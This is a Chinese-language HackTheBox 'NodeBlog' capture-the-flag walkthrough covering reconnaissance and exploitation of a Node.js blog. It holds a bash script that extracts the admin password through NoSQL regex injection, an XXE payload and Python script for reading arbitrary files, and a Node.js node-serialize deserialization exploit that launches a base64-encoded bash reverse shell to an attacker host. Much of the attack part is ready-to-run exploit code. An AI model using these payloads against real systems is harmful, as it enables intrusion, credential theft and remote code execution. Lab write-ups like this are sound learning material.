Hackthebox - NodeBlog

靶场信息

靶场类型

信息搜集

首先使用nmap进行信息搜集

┌──(root💀kali)-[~/Desktop]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.139  
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-19 20:19 EST
Nmap scan report for 10.10.11.139
Host is up (0.23s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Blog
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/19%OT=22%CT=1%CU=34477%PV=Y%DS=2%DC=T%G=Y%TM=61E8B8C
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:00%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M505ST11NW7%O2=M505ST11NW7%O
OS:3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M505NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   221.92 ms 10.10.14.1
2   222.21 ms 10.10.11.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.53 seconds

去看一下5000端口

去看看登陆处

┌──(root💀kali)-[~/Desktop]
└─# curl 10.10.11.139:5000/login -sd '{"user":"admin","password":"123"}' -H 'Content-Type: application/json' | grep Invalid
            Invalid Password

使用账号admin提示密码无效

┌──(root💀kali)-[~/Desktop]
└─# curl 10.10.11.139:5000/login -sd '{"user":"admin1","password":"123"}' -H 'Content-Type: application/json' | grep Invalid
            Invalid Username

使用账号admin1提示账号无效

得出结论:这里可以爆破账号

但是fuzz后没有发现可以其他账号,也没有爆破进去

接着测试一下是否有其他漏洞,例如注入

┌──(root💀kali)-[~/Desktop]
└─# curl 10.10.11.139:5000/login -isd '{"user":"admin","password":{"$regex":""}}' -H 'Content-Type: application/json'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: auth=%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D; Max-Age=900; Path=/; Expires=Thu, 20 Jan 2022 10:27:09 GMT; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 2589
ETag: W/"a1d-JGrC4mhnlEApoTWWPEhYOlLd+UA"
Date: Thu, 20 Jan 2022 10:12:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5

尝试了一下regex注入,确认是可以并且存在nosql注入的

漏洞利用

首先去确定一下admin账户所使用密码的长度

┌──(root💀kali)-[~/Desktop]
└─# curl 10.10.11.139:5000/login -isd '{"user":"admin","password":{"$regex":"^.{24}$"}}' -H 'Content-Type: application/json' | grep Invalid 
            Invalid Password

┌──(root💀kali)-[~/Desktop]
└─# curl 10.10.11.139:5000/login -isd '{"user":"admin","password":{"$regex":"^.{25}$"}}' -H 'Content-Type: application/json' | grep Invalid

成功确定密码的位数为25位

可以使用regex正则匹配一个一个确认密码是啥,不过内容太繁琐了,这里找到一个脚本,直接使用脚本进行利用

#!/usr/bin/env bash

url=10.10.11.139:5000/login
user=admin

function do_nosqli() {
    curl $url -H 'Content-Type: application/json' -sd $1 | grep Invalid
}

while true; do
    data='{"user":"'$user'","password":{"$regex":"^.{'$password_length'}$"}}'
    echo -ne "Password length: $password_length\r"

    if [ -z "$(do_nosqli "$data")" ]; then
        break
    fi

    password_length=$((password_length + 1))
done

echo

for i in $(seq 1 $password_length); do
    echo -ne "Password: $password\r"

    for c in {A..Z} {a..z} {0..9}; do
        data='{"user":"'$user'","password":{"$regex":"^'$password$c'.{'$(($password_length - $i))'}$"}}'

        if [ -z "$(do_nosqli $data)" ]; then
            password+=$c
            break
        fi
    done
done

echo
┌──(root💀kali)-[~/Desktop]
└─# bash nosqli.sh
Password length: 25
Password: IppsecSaysPleaseSubscribe

成功拿到账号密码,去后台登录

成功登录

Error: Failed to lookup view "articles/${path}" in views directory "/opt/blog/views"
    at Function.render (/opt/blog/node_modules/express/lib/application.js:580:17)
    at ServerResponse.render (/opt/blog/node_modules/express/lib/response.js:1012:7)
    at /opt/blog/routes/articles.js:81:17
    at processTicksAndRejections (internal/process/task_queues.js:95:5)

尝试创建一篇新文章时报错

Invalid XML Example: Example DescriptionExample Markdown

上传新文件时提示无效的XML示例

现在梳理一下我们拥有的条件

  1. 知道程序的绝对路径在/opt/blog
  2. 需要上传一个正确的XML示例

那咱们就来构造一个吧

<?xml version="1.0"?>
<post>
  <title>Lucifiel</title>
  <description></description>  
  <markdown></markdown>
</post>

上传该xml文件会跳转到编写新文章

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>  
<post>
  <title>Lucifiel</title>
  <description>&xxe;</description>
  <markdown></markdown>
</post>

成功执行XXE

用一个python脚本来执行任意文件读取

#!/usr/bin/env python3

import html
import re
import requests
import sys

def send_xml(filename):
    xml = f'''<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://{filename}"> ]>
<example>
  <title></title>
  <description>&xxe;</description>
  <markdown></markdown>
</example>
'''

    res = requests.post('http://10.10.11.139:5000/articles/xml', files={'file': ('test.xml', xml)})

    return res.text

def main():
    if len(sys.argv) == 1:
        print(f'Usage: python3 {sys.argv[0]} <filename>')
        exit(1)

    filename = sys.argv[1]
    xml = send_xml(filename)

    try:
        print(html.unescape(re.findall(r'<textarea.*?>(.*?)</textarea>', xml, re.DOTALL)[0]))
    except IndexError:
        print('Not Found')

if __name__ == '__main__':
    main()

找到了一个利用脚本

#!/usr/bin/env node

const axios = require('axios')

const user = 'admin'
const password = 'IppsecSaysPleaseSubscribe'
const baseUrl = 'http://10.10.11.139:5000'

const [lhost, lport] = process.argv.slice(2, 4)

const login = async () => {
  const res = await axios.post(`${baseUrl}/login`, { user, password })

  return res.headers['set-cookie'][0]
}

const rce = async (cookie, cmd) => {
  const paramIndex = cookie.indexOf(';')

  cookie =
    cookie.substring(0, paramIndex - 3) +
    encodeURIComponent(
      `,"rce":"_$$ND_FUNC$$_function() { require('child_process').exec('${cmd}') }()"}`
    ) +
    cookie.substring(paramIndex)

  await axios.get(baseUrl, { headers: { cookie } })
}

const reverseShell = () =>
  Buffer.from(`bash  -i >& /dev/tcp/${lhost}/${lport} 0>&1`).toString('base64')

const main = async () => {
  if (!lhost || !lport) {
    console.log('[!] Usage: node serialize-rce.js <lhost> <lport>')
    process.exit()
  }

  const cookie = await login()
  console.log('[+] Login successful')

  await rce(cookie, `echo ${reverseShell()} | base64 -d | bash`)
  console.log('[+] RCE completed')
}

main()